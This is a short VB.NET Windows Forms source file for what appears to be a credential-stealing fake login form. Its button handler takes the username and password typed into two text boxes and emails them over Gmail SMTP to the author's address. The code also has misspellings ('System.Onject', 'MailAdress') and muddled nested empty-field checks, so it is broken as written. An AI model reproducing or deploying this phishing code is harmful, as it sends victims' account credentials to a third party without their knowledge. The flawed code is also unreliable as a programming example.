imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Onject, ByVal e As System.EventArgs) Handles Button1.Click if textbox1.text = "" then msgbox("Username is missing") if textbox2.text = "" then msgbox("Password is missing") else end if end if dim smtpserver as new smtpclient() dim mail as new MailMessage() smtpserver.Credentials = New Net.NetworkCredential("Your Gmail", "Your Password") 'using gmail smtpserver.port = 587 smtpserver.host = "smtp.gmail.com" smtpserver.enableSsl = true mail = new mailmessage() mail.from = New MailAdress("Your Gmail") mail.to.add("Your Gmail") mail.Subject = "Username: " & textbox1.text mail.Body = "Username: " & textbox1.text & ", " & "Password: " & textbox2.text smtpServer.Send(mail) end sub